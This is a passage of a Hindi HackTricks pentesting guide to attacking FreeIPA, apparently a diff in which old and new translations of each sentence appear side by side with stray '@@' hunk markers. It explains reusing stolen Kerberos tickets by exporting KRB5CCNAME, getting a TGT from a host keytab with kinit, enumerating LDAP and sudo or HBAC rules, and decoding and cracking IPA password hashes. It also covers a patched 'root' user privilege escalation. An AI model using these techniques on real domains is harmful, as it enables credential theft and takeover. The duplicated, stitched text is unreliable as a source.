* **kdestroy:** kdestroy बाइनरी का उपयोग उपयोगकर्ता के सत्र में किसी भी मौजूदा **Kerberos टिकट्स** को **नष्ट** करने के लिए किया जाता है।
* **kinit:** kinit बाइनरी का उपयोग **Kerberos टिकट्स** को **स्थापित** करने या **नवीनीकृत** करने के लिए किया जाता है।
* **klist:** klist बाइनरी **उपयोग में आने वाले किसी भी मौजूदा Kerberos टिकट्स की सूची** बनाती है, और यह बताती है कि टिकट्स किन प्रिंसिपल्स तक पहुँच प्रदान करते हैं।
* **kpasswd:** kpasswd कमांड का उपयोग **Kerberos प्रिंसिपल के पासवर्ड को बदलने** के लिए किया जाता है। kpasswd पहले मौजूदा Kerberos पासवर्ड के लिए प्रॉम्प्ट करता है, फिर उपयोगकर्ता को नए पासवर्ड के लिए दो बार प्रॉम्प्ट करता है, और पासवर्ड बदल दिया जाता है।
* **ksu:** Ksu का उपयोग **su बाइनरी के विकल्प के रूप में** किया जा सकता है, वर्तमान **उपयोगकर्ता संदर्भ** को स्विच करने के लिए।
* **kswitch:** kswitch कमांड **उपयोग में आने वाले वर्तमान क्रेडेंशियल कैश को स्विच** करेगा।
* **kvno:** kvno बाइनरी **निर्दिष्ट Kerberos प्रिंसिपल्स के लिए एक सेवा टिकट** प्राप्त करती है और प्रत्येक के की
```
klist /tmp/krb5cc_0
```
<figure><img src="../.gitbook/assets/image (70).png" alt=""><figcaption></figcaption></figure>
एक हमलावर के लिए एक CCACHE टिकट का पुनः उपयोग करना बहुत आसान है। एक मान्य CCACHE टिकट का पुनः उपयोग करने के लिए, **KRB5CCNAME** को मान्य टिकट फ़ाइल के **पथ** पर **निर्यात** करें। सिस्टम को यह पर्यावरण चर को मान्यता देनी चाहिए और जब डोमेन के साथ इंटरैक्ट करते समय उस क्रेडेंशियल सामग्री का उपयोग करने का प्रयास करेगा।
हमलावर के लिए CCACHE टिकट का पुन: उपयोग करना बहुत आसान है। एक मान्य CCACHE टिकट को **पुन: उपयोग** करने के लिए, **KRB5CCNAME** को वैध टिकट फाइल के **पथ** पर **निर्यात** करें। सिस्टम को वातावरण चर को पहचानना चाहिए और डोमेन के साथ बातचीत करते समय उस क्रेडेंशियल सामग्री का उपयोग करने का प्रयास करेगा।
```bash
export KRB5CCNAME=/tmp/krb5cc_0
klist
```
<figure><img src="../.gitbook/assets/image (175).png" alt=""><figcaption></figcaption></figure>
### **Unix Keyring**
CCACHE Tickets \*\*\*\* को भी **Linux keyring** में **संग्रहीत** किया जा सकता है। Keyring **kernel** के अंदर होता है, और व्यवस्थापकों को **संग्रहीत टिकट के प्राप्ति और उपयोग पर अधिक नियंत्रण** प्रदान करता है। टिकट निम्नलिखित तरीकों से स्कोप किए जा सकते हैं:
CCACHE Tickets \*\*\*\* को \*\*\*\* Linux **keyring** में भी **संग्रहित** किया जा सकता है। Keyring **कर्नेल** के अंदर रहता है, और प्रशासकों को संग्रहित टिकटों की प्राप्ति और उपयोग पर **अधिक नियंत्रण** प्रदान करता है। टिकटों को निम्नलिखित विभिन्न तरीकों से सीमित किया जा सकता है:
* **`KEYRING:name`:** टिकट एक विशिष्ट नामित Keyring के स्कोप में होते हैं।
* **`KEYRING:process:name`:** टिकट एक विशिष्ट प्रक्रिया id के स्कोप में होते हैं।
* **`KEYRING:thread:name`:** टिकट एक विशिष्ट थ्रेड के स्कोप में होते हैं।
* **`KEYRING:session:name`:** टिकट एक विशिष्ट उपयोगकर्ता सत्र के स्कोप में होते हैं।
* **`KEYRING:persistent:uidnumber`:** टिकट एक विशिष्ट उपयोगकर्ता के स्कोप में होते हैं, सत्र के बावजूद (डिफ़ॉल्ट)।
* **`KEYRING:name`:** टिकट एक विशिष्ट नामित Keyring के लिए सीमित होते हैं।
* **`KEYRING:process:name`:** टिकट एक विशिष्ट प्रक्रिया आईडी के लिए सीमित होते हैं।
* **`KEYRING:thread:name`:** टिकट एक विशिष्ट थ्रेड के लिए सीमित होते हैं।
* **`KEYRING:session:name`:** टिकट एक विशिष्ट उपयोगकर्ता सत्र के लिए सीमित होते हैं।
* **`KEYRING:persistent:uidnumber`:** टिकट एक विशिष्ट उपयोगकर्ता के लिए सत्र की परवाह किए बिना सीमित होते हैं (डिफ़ॉल्ट)।
Unix keyring में संग्रहीत टिकट को व्यवस्थापक ने कैसे स्कोप किया है, इसका पार्सिंग करना कठिन हो सकता है। हालांकि, CCACHE Tickets के लिए Unix keyring में **डिफ़ॉल्ट स्कोप** है **`KEYRING:persistent:uidnumber`**। भाग्यशाली तरीके से, यदि आप **उपयोगकर्ता** के **संदर्भ** में हैं, `klist` हमारे लिए इस जानकारी को **पार्स** कर सकता है।
Unix keyring के अंदर संग्रहित टिकट को प्रशासक ने कैसे सीमित किया है, इसके आधार पर इसे पार्स करना कठिन हो सकता है। हालांकि, Unix keyring में CCACHE Tickets के लिए **डिफ़ॉल्ट** **स्कोप** **`KEYRING:persistent:uidnumber`** हैसौभाग्य से यदि आप **उपयोगकर्ता** के **संदर्भ** में हैं, तो `klist` हमारे लिए इस जानकारी को **पार्स** कर सकता है।
<figure><img src="../.gitbook/assets/image (3) (1) (4).png" alt=""><figcaption></figcaption></figure>
हमलावर के रूप में, Unix **keyring** में संग्रहीत एक CCACHE Ticket का पुनः **उपयोग** करना काफी **कठिन** हो सकता है, यह टिकट कैसे स्कोप किया गया है इस पर निर्भर करता है। भाग्यशाली तरीके से [@Zer1t0](https://github.com/Zer1t0) ने [@Tarlogic](https://twitter.com/Tarlogic) से एक उपकरण बनाया है जो Unix keyring से Kerberos टिकट निकाल सकता है। इस उपकरण का नाम है **Tickey** और इसे [**यहां**](https://github.com/TarlogicSecurity/tickey) मिलेगा।
<figure><img src="../.gitbook/assets/image (185).png" alt=""><figcaption></figcaption></figure>
एक हमलावर के रूप में, Unix **keyring** में संग्रहित CCACHE **Ticket का पुन: उपयोग** करना टिकट के स्कोप के आधार पर काफी **कठिन** हो सकता है। सौभाग्य से [@Zer1t0](https://github.com/Zer1t0) ने [@Tarlogic](https://twitter.com/Tarlogic) से एक उपकरण बनाया है जो Unix keyring से Kerberos टिकटों को निकाल सकता है। उपकरण का नाम **Tickey** है और इसे [**यहाँ**](https://github.com/TarlogicSecurity/tickey) पाया जा सकता है।
### Keytab <a href="#ff38" id="ff38"></a>
{% hint style="warning" %}
आमतौर पर, प्रत्येक होस्ट को उस होस्ट के लिए एक कुंजीबंध क्रेडेंशियल के साथ डिप्लॉय किया जाता है जिसका उपयोग होस्ट खुद के लिए एक मान्य Credential Cache(CCACHE) Ticket Granting Ticket(TGT) प्राप्त करने के लिए किया जा सकता है।
आमतौर पर, प्रत्येक होस्ट को उस होस्ट के लिए एक keytab क्रेडेंशियल के साथ तैनात किया जाता है जिसका उपयोग होस्ट स्वयं के लिए एक वैध Credential Cache(CCACHE) Ticket Granting Ticket(TGT) प्राप्त करने के लिए किया जा सकता है।
{% endhint %}
इसमें **Kerberos principals और encrypted keys** के जोड़े होते हैं जो प्रिंसिपल के साथ जुड़े Kerberos पासवर्ड से प्राप्त होते हैं। क्योंकि ये कुंजी प्रिंसिपल के पासवर्ड से प्राप्त होती हैं, इसलिए अगर वह पासवर्ड बदल जाता है तो कुंजीबंध अमान्य हो जाएगी
यह **Kerberos प्रिंसिपल्स और एन्क्रिप्टेड कीज़** की जोड़ियों से बना होता है जो प्रिंसिपल से जुड़े Kerberos पासवर्ड से निकाले गए होते हैं। चूंकि ये कीज़ प्रिंसिपल के पासवर्ड से निकाले गए होते हैं, इसलिए यदि वह **पासवर्ड बदलता है तो keytab अमान्य हो जाएगा**
Keytab फ़ाइलें **मान्य टिकट ग्रांटिंग टिकट** (TGT) प्राप्त करने के लिए उपयोग की जा सकती हैं, जिसके लिए यह प्रमाणीकरण प्रक्रिया **पासवर्ड की आवश्यकता नहीं होती**, क्योंकि इसमें पासवर्ड से प्राप्त की गई कुंजी होती है
Keytab फाइलों का उपयोग प्रिंसिपल के लिए एक वैध टिकट ग्रांटिंग टिकट (TGT) प्राप्त करने के लिए किया जा सकता है। यह प्रमाणीकरण प्रक्रिया **पासवर्ड की आवश्यकता नहीं होती**, क्योंकि इसमें पासवर्ड से निकाले गए कीज़ होते हैं
Keytab फाइल को पार्स करना बहुत आसान है, और इसे कुछ तरीकों से प्राप्त किया जा सकता है। Keytab फाइल को पार्स करने का सबसे आसान तरीका **klist** के साथ है। दूसरा तरीका एक महान python उपयोगिता का उपयोग करता है जिसे [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) ने बनाया है। उनक [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) परियोजना प्रिंसिपल और उसकी संबंधित encrypted keys को पार्स करेगी।
Keytab फाइल को पार्स करना बहुत आसान है, और इसे कुछ तरीकों से पूरा किया जा सकता है। Keytab फाइल को **पार्स** करने का सबसे आसान तरीका **klist** के साथ है। दूसरा तरीका एक शानदार पायथन उपयोगिता का उपयोग करता है जिसे [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) ने बनाया है। उनकी \*\*\*\* [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) \*\*\*\* परियोजना प्रिंसिपल और इसके संबंधित एन्क्रिप्टेड कीज़ को पार्स कर देगी।
<figure><img src="../.gitbook/assets/image (200).png" alt=""><figcaption></figcaption></figure>
हमलावर कुंजीबंध फ़ाइलों में संग्रहीत क्रेडेंशियल का पुनः **उपयोग** करके CCACHE Ticket उत्पन्न कर सकते हैं, kinit बाइनरी के माध्यम से।
हमलावर keytab फाइलों में संग्रहित क्रेडेंशियल्स का **पुन: उपयोग कर सकते हैं CCACHE Ticket उत्पन्न करके** kinit बाइनरी के माध्यम से।
```powershell
# Parse keytab
klist -k /rtc/krb5.keytab
@ -103,33 +93,29 @@ klist -k /rtc/krb5.keytab
# Get TGT
kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
```
<figure><img src="../.gitbook/assets/image (205).png" alt=""><figcaption></figcaption></figure>
### Cheatsheet
### चीटशीट
आप लिनक्स में टिकट का उपयोग कैसे करें इसके बारे में अधिक जानकारी निम्नलिखित लिंक में पा सकते हैं:
आप निम्नलिखित लिंक में लिनक्स में टिकट्स का उपयोग कैसे करें, इसके बारे में अधिक जानकारी पा सकते हैं:
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
{% endcontent-ref %}
## जांच
## सूचीकरण
{% hint style="warning" %}
आप **ldap** और अन्य **बाइनरी** उपकरणों के माध्यम से **जांच** कर सकते हैं, या **FreeIPA सर्वर के पोर्ट 443 में वेब पेज से कनेक्ट करके** भी कर सकते हैं।
आप **ldap** और अन्य **बाइनरी** टूल्स के माध्यम से, या **FreeIPA सर्वर के पोर्ट 443 पर वेब पेज से कनेक्ट करके** **सूचीकरण** कर सकते हैं।
{% endhint %}
<figure><img src="../.gitbook/assets/image (184).png" alt=""><figcaption></figcaption></figure>
### होस्ट्स, उपयोगकर्ता, और समूह <a href="#4b3b" id="4b3b"></a>
### होस्ट, उपयोगकर्ता और समूह <a href="#4b3b" id="4b3b"></a>
**होस्ट्स**, **उपयोगकर्ता** और **समूह** बनाना संभव है। होस्ट्स और उपयोगकर्ता को “**होस्ट समूह**” और “**उपयोगकर्ता समूह**” के रूप में जाने जाने वाले कंटेनरों में वर्गीकृत किया जाता है। ये **संगठनात्मक इकाइयों** (OU) के समान हैं।
**होस्ट**, **उपयोगकर्ता** और **समूह** बनाना संभव है। होस्ट और उपयोगकर्ता को "होस्ट समूह" और "उपयोगकर्ता समूह" कहलाते हैं। ये **संगठनात्मक इकाइयों** (OU) के समान हैं।
डिफ़ॉल्ट रूप से FreeIPA में, LDAP सर्वर **अनामत बाइंड** की अनुमति देता है, और एक बड़ी संख्या में डेटा **अप्रमाणित** जांच की जा सकती है। यह अप्रमाणित रूप से उपलब्ध सभी डेटा की जांच कर सकता है:
FreeIPA में डिफ़ॉल्ट रूप से, LDAP सर्वर **गुमनाम बाइंड्स** की अनुमति देता है, और बड़ी मात्रा में डेटा **अप्रमाणित** रूप से सूचीबद्ध किया जा सकता है। यह सभी डेटा को अप्रमाणित रूप से सूचीबद्ध कर सकता है:
```
ldapsearch -x
```
अधिक जानकारी प्राप्त करने के लिए आपको एक **प्रमाणित** सत्र का उपयोग करना होगा (प्रमाणीकरण अनुभाग की जांच करें ताकि आप कैसे एक प्रमाणित सत्र की तैयार कर कें)
अधिक **जानकारी** प्राप्त करने के लिए आपको एक **प्रमाणित** सत्र का उपयोग करना होगा (प्रमाणित सत्र तैयार करने के लिए Authentication अनुभाग देखें)
```bash
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -143,7 +129,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
```
एक डोमेन ज्वाइन किए गए मशीन से आप **स्थापित बाइनरी** का उपयोग करके डोमेन की जांच कर सकेंगे:
एक डोमेन से जुड़ी मशीन से आप **स्थापित बाइनरी** का उपयोग करके डोमेन का परिगणना कर सकेंगे:
```bash
ipa user-find
ipa usergroup-find
@ -158,33 +144,33 @@ ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
{% hint style="info" %}
**FreeIPA** का **admin** उपयोगकर्ता **AD** के **domain admins** के समकक्ष है।
**FreeIPA** का **admin** उपयोगकर्ता **AD** के **domain admins** के समकक्ष होता है।
{% endhint %}
### हैश <a href="#482b" id="482b"></a>
### हैशेज़ <a href="#482b" id="482b"></a>
**IPA सर्वर** क**रूट** उपयोगकर्ता को पासवर्ड **हैश** तक पहुंच होती है।
**IPA सर्वर** क**root** उपयोगकर्ता पासवर्ड **हैशेज़** तक पहुँच रखता है।
* उपयोगकर्ता का पासवर्ड हैश "userPassword" **विशेषता** में **base64** के रूप में संग्रहीत होता है। यह हैश **SSHA512** (पुराने संस्करणों के लिए FreeIPA) या **PBKDF2\_SHA256** हो सकता है।
* पासवर्ड का **Nthash** "ipaNTHash" में **base64** के रूप में संग्रहीत होता है अगर सिस्टम में **AD** के साथ **एकीकरण** है।
* उपयोगकर्ता का पासवर्ड हैश “**userPassword**” **एट्रिब्यूट** में **base64** के रूप में संग्रहीत होता है। यह हैश **SSHA512** (FreeIPA के पुराने संस्करणों में) या **PBKDF2_SHA256** हो सकता है।
* पासवर्ड का **Nthash** “**ipaNTHash**” में **base64** के रूप में संग्रहीत होता है यदि सिस्टम में **AD** के साथ **इंटीग्रेशन** है।
इन हैशों को क्रैक करने के लिए:
इन हैशेज़ को क्रैक करने के लिए:
• यदि FreeIPA AD के साथ एकीकृत है, तो **ipaNTHash** को क्रैक करना आसान है: आपको **base64** को **डिकोड** करना चाहिए -> इसे **ASCII** हेक्स के रूप में पुनः एनकोड करें -> John The Ripper या **hashcat** आपकी मदद कर सकते हैं इसे तेजी से क्रैक करने मे
• यदि freeIPA AD के साथ इंटीग्रेटेड है, तो **ipaNTHash** को क्रैक करना आसान है: आपको **base64** को **डिकोड** करना चाहिए -> इसे **ASCII** हेक्स के रूप में पुनः एनकोड करें -> John The Ripper या **hashcat** आपकी जल्दी से क्रैक करने में मदद कर सकते है
• यदि पुराने संस्करण का उपयोग किया जाता है, तो **SSHA512** का उपयोग किया जाता है: आपको **base64** को **डिकोड** करना चाहिए -> SSHA512 **हैश** ढूंढें -> John The Ripper या **hashcat** आपकी मदद कर सकते हैं इसे क्रैक करने मे
• यदि FreeIPA का पुराना संस्करण प्रयोग किया जा रहा है, तो **SSHA512** का उपयोग होता है: आपको **base64** को डिकोड करना चाहिए -> SSHA512 **हैश** खोजें -> John The Ripper या **hashcat** आपकी क्रैक करने में मदद कर सकते है
• यदि नया संस्करण का उपयोग किया जाता है, तो **PBKDF2\_SHA256** का उपयोग किया जाता है: आपको **base64** को **डिकोड** करना चाहिए -> PBKDF2\_SHA256 ढूंढें -> इसकी **लंबाई** 256 बाइट होती है। John 256 बिट (32 बाइट) के साथ काम कर सकता है -> SHA-265 को प्सेडो-रैंडम फ़ंक्शन के रूप में उपयोग किया जाता है, ब्लॉक साइज़ 32 बाइट होती है -> आपको हमारे PBKDF2\_SHA256 हैश के पहले 256 बिट का ही उपयोग करना होगा -> John The Ripper या hashcat आपकी मदद कर सकते हैं इसे क्रैक करने मे
• यदि FreeIPA का नया संस्करण प्रयोग किया जा रहा है, तो **PBKDF2_SHA256** का उपयोग होता है: आपको **base64** को डिकोड करना चाहिए -> PBKDF2_SHA256 खोजें -> इसकी **लंबाई** 256 बाइट है। John 256 बिट्स (32 बाइट) के साथ काम कर सकता है -> SHA-256 का उपयोग प्रीडो-रैंडम फंक्शन के रूप में किया जाता है, ब्लॉक साइज़ 32 बाइट है -> आप हमारे PBKDF2_SHA256 हैश के केवल पहले 256 बिट का उपयोग कर सकते हैं -> John The Ripper या hashcat आपकी क्रैक करने में मदद कर सकते है
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
हैश निकालने के लिए आपको **FreeIPA सर्वर में रूट** होना चाहिए, वहां आप उपयोग कर सकते हैं उपकरण **`dbscan`** इन्हें निकालने के लिए:
हैशेज़ को निकालने के लिए आपको **FreeIPA सर्वर** में **root** होना आवश्यक है, वहाँ आप उन्हें निकालने के लिए **`dbscan`** टूल का उपयोग कर सकते हैं:
<figure><img src="../.gitbook/assets/image (196).png" alt=""><figcaption></figcaption></figure>
### HBAC-नियम <a href="#482b" id="482b"></a>
ये नियम उपयोगकर्ताओं या होस्टों को संसाधनों (होस्ट, सेवाएं, सेवा समूह...) पर विशेष अनुमतियाँ प्रदान करते हैं।
ये नियम हैं जो उपयोगकर्ताओं या होस्ट्स को संसाधनों (होस्ट्स, सेवाएं, सेवा समूह...) पर विशिष्ट अनुमतियाँ प्रदान करते हैं।
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -193,9 +179,9 @@ ipa hbacrule-find
# Show info of rule
ipa hbacrule-show <hbacrule> --all
```
#### सुडो-नियम
#### Sudo-नियम
FreeIPA सुडो-नियम के माध्यम से एक सेंट्रलाइज़्ड स्रोत से सुडो अनुमतियों का प्रबंधन करने की क्षमता प्रदान करता है। ये नियमसंग्रह डोमेन में नामांकित होस्ट पर सुडो के रूप में कमांड्स को निषेधित या अधिकार देने के लिए उपयोग किए जा सकते हैं। हम एक हमलावर के रूप में यह जांच सकते हैं कि ये नियमसंग्रह किस होस्ट और उपयोगकर्ताओं पर लागू होते हैं, और कौन से कमांड्स नियमसंग्रह के माध्यम से अनुमति प्राप्त करते हैं।
FreeIPA एक **केंद्रीकृत** स्रोत के माध्यम से **sudo अनुमतियों को प्रबंधित करने** की क्षमता प्रदान करता है, जिसे sudo-नियम के रूप में जाना जाता है। ये नियम समूह डोमेन में नामांकित होस्ट्स पर **sudo के रूप में कमांड्स को निष्पादित करने की क्षमता को प्रतिबंधित या प्रतिनिधित्व करने** के लिए उपयोग किए जा सकते हैं। एक हमलावर के रूप में हम यह पता लगा सकते हैं कि इन नियम समूहों को किन होस्ट्स और उपयोगकर्ताओं पर लागू किया गया है, और कौन से कमांड्स नियम समूह के माध्यम से अनुमति हैं।
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -204,23 +190,23 @@ ipa sudorule-find
# Show info of rule
ipa sudorule-show <sudorule> --all
```
### भूमिका-आधारित पहुंच नियंत्रण
### रोल-आधारित पहुँच नियंत्रण
प्रत्येक **भूमिका** में कई **विशेषाधिकार** होते हैं, और उन विशेषाधिकारों में कई **अनुमतियाँ** होती हैं। भूमिकाएँ **उपयोगकर्ताओं**, उपयोगकर्ता **समूहों**, **होस्टों**, होस्ट समूहों और सेवाओं पर लागू की जा सकती हैं। इस संकेत में आइए फ्रीआईपीए में डिफ़ॉल्ट "उपयोगकर्ता प्रशासक" भूमिका की चर्चा करें।
प्रत्येक **रोल** में एक सेट के **विशेषाधिकार** होते हैं, और उन संबंधित विशेषाधिकारों में एक **सेट** के **अनुमतियाँ** होती हैं। रोल को **उपयोगकर्ताओं** पर, उपयोगकर्ता **समूहों**, **होस्ट्स**, होस्ट समूहों, और सेवाओं पर **लागू** किया जा सकता है। इस अवधारणा को समझाने के लिए चलिए FreeIPA में डिफ़ॉल्ट “User Administrator” रोल के बारे में चर्चा करते हैं।
<figure><img src="../.gitbook/assets/image (161).png" alt=""><figcaption></figcaption></figure>
जैसा कि ऊपर की स्क्रीनशॉट में दिखाया गया है, "उपयोगकर्ता प्रशासक" भूमिका में निम्नलिखित विशेषाधिकार होते हैं:
जैसा कि ऊपर के स्क्रीनशॉट से पता चलता है “User Administrator” रोल में निम्नलिखित विशेषाधिकार शामिल हैं:
* **उपयोगकर्ता प्रशासक**
* **समूह प्रशासक**
* **स्टेज उपयोगकर्ता प्रशासक**
* **User Administrators**
* **Group Administrators**
* **Stage User Administrators**
हम और भी विस्तार से जा सकते हैं और प्रत्येक विशेषाधिकार को सौंदर्य देने के लिए दिए गए **अनुमतियों** की गणना कर सकते हैं:
हम और गहराई में जाकर प्रत्येक **विशेषाधिकार** को सौंपी गई **अनुमतियों** का गणना कर सकते हैं:
<figure><img src="../.gitbook/assets/image (189).png" alt=""><figcaption></figcaption></figure>
जैसा कि हम देख सकते हैं, "उपयोगकर्ता प्रशासक" भूमिका में पर्याप्त **संबंधित अनुमतियाँ** होती हैं। भूमिकाओं, विशेषाधिकारों और अनुमतियों की सामान्य अवधारणा और संरचना को समझना, एक पर्यावरण में हमले के मार्गों की पहचान करने के लिए महत्वपूर्ण हो सकता है।
जैसा कि हम देख सकते हैं “**User Administrator**” रोल में पर्यावरण के भीतर काफी **अधिक अनुमतियाँ** शामिल हैं। **रोल्स**, **विशेषाधिकारों**, और **अनुमतियों** की सामान्य अवधारणा और संरचना को समझना पर्यावरण भर में हमले के मार्गों की पहचान करने के लिए महत्वपूर्ण हो सकता है।
```bash
# Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -232,52 +218,53 @@ ipa privilege-show <privilege> --all
ipa permission-find
ipa permission-show <permission> --all
```
### हमल परिदृश्य उदाहरण
### हमले की परिदृश्य उदाहरण
[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) में आप एक सरल उदाहरण पा सकते हैं कि कैसे कुछ अनुमतियों का दुरुपयोग करके डोमेन को कंप्रमाइज़ किया जा सकता है
[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) में आपको डोमेन को समझौता करने के लिए कुछ अनुमतियों का दुरुपयोग करने का एक सरल उदाहरण मिलेगा
### Linikatz
### Linikatz/LinikatzV2
[https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## Privesc
### ~~रूट उपयोगकर्ता निर्माण~~
### ~~root उपयोगकर्ता निर्माण~~
{% hint style="warning" %}
यदि आप **नाम `root` वाले नए उपयोगकर्ता को बना सकते हैं**, तो आप उसकी अनुकरण कर सकते हैं और आप **रूट के रूप में किसी भी मशीन में SSH कर सकेंगे**
यदि आप **नए उपयोगकर्ता को `root` नाम से बना सकते हैं**, तो आप उसका अनुकरण कर सकते हैं और आप किसी भी मशीन में root के रूप में **SSH करने में सक्षम होंगे।**
**यह पैच कर दिया गया है।**
**इसे पैच किया गया है।**
{% endhint %}
"**उपयोगकर्ता प्रशासक**" अधिकार, बहुत शक्तिशाली होता है (जैसा कि इसका नाम इसकी प्रकट करता है):
"**User Administrators**" विशेषाधिकार बहुत शक्तिशाली है (जैसा कि इसका नाम बताता है):
<figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
इस अधिकार के साथ, पर्याप्त संख्या में विभिन्न शक्तियां होती हैं जो पर्यावरण के भीतर उपयोगकर्ताओं को प्रभावित करने के लिए होती हैं। इस अधिकार का उपयोग करके हम **FreeIPA डोमेन में एक नया उपयोगकर्ता नामित \_root_** बना सकते हैं।
इस विशेषाधिकार के साथ वातावरण के अंदर उपयोगकर्ताओं को प्रभावित करने की बहुत सारी शक्तियाँ आती हैं। इस विशेषाधिकार का उपयोग करके हम FreeIPA डोमेन के अंदर \_root\_ नामक **नया उपयोगकर्ता बना सकते हैं।**
<figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
जब उपयोगकर्ता डोमेन में बना दिया जाता है, हम **\_kinit**\_ के साथ खाते के लिए टिकट प्राप्त कर सकते हैं।
एक बार जब डोमेन में उपयोगकर्ता बन जाता है, तो हम \_kinit\_ के साथ खाते के लिए **टिकट प्राप्त कर सकते हैं।**
<figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
अब हम नवनिर्मित रूट डोमेन खाता का उपयोग करके **SSH** का प्रयास कर सकते हैं।
अब हम अपने नए बनाए गए root डोमेन खाते का उपयोग करके **SSH** करने का प्रयास कर सकते हैं।
<figure><img src="../.gitbook/assets/image (176).png" alt=""><figcaption></figcaption></figure>
जैसा कि दिखाया गया है, यह **उपयोगकर्ता को स्थानीय रूट खाते में ड्रॉप करता है**! इसलिए, एक डोमेन उपयोगकर्ता को स्थानीय उपयोगकर्ता के लिए बनाकर हमने _root@WESTEROS.LOCAL_ खाते का प्रमाणीकरण किया और **स्थानीय रूट खाते के उपयोगकर्ता संदर्भ** प्राप्त किया।
जैसा कि दिखाया गया है यह उपयोगकर्ता को स्थानीय root खाते में **ले जाता है**! इसलिए सिर्फ एक स्थानीय उपयोगकर्ता के लिए एक डोमेन उपयोगकर्ता बनाकर हम root@WESTEROS.LOCAL खाते का उपयोग करके प्रमाणित करने और स्थानीय root खाते के **उपयोगकर्ता संदर्भ प्राप्त करने में सक्षम थे।**
_इस खोज के बारे में अधिक विवरण के लिए_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) _देखें।_\\
_इस दोष के बारे में अधिक जानकारी के लिए देखें_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी में काम करते हैं**? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की अनुमति चाहिए**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को फॉलो करके।**
* क्या आप **साइबरसुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं**? या क्या आप PEASS के **नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** पर मुझे **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **hacktricks repo** और **hacktricks-cloud repo** में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
</details>

View file

@ -1,58 +1,58 @@
# एंटीवायरस (AV) बाईपास
# Antivirus (AV) बायपास
<details>
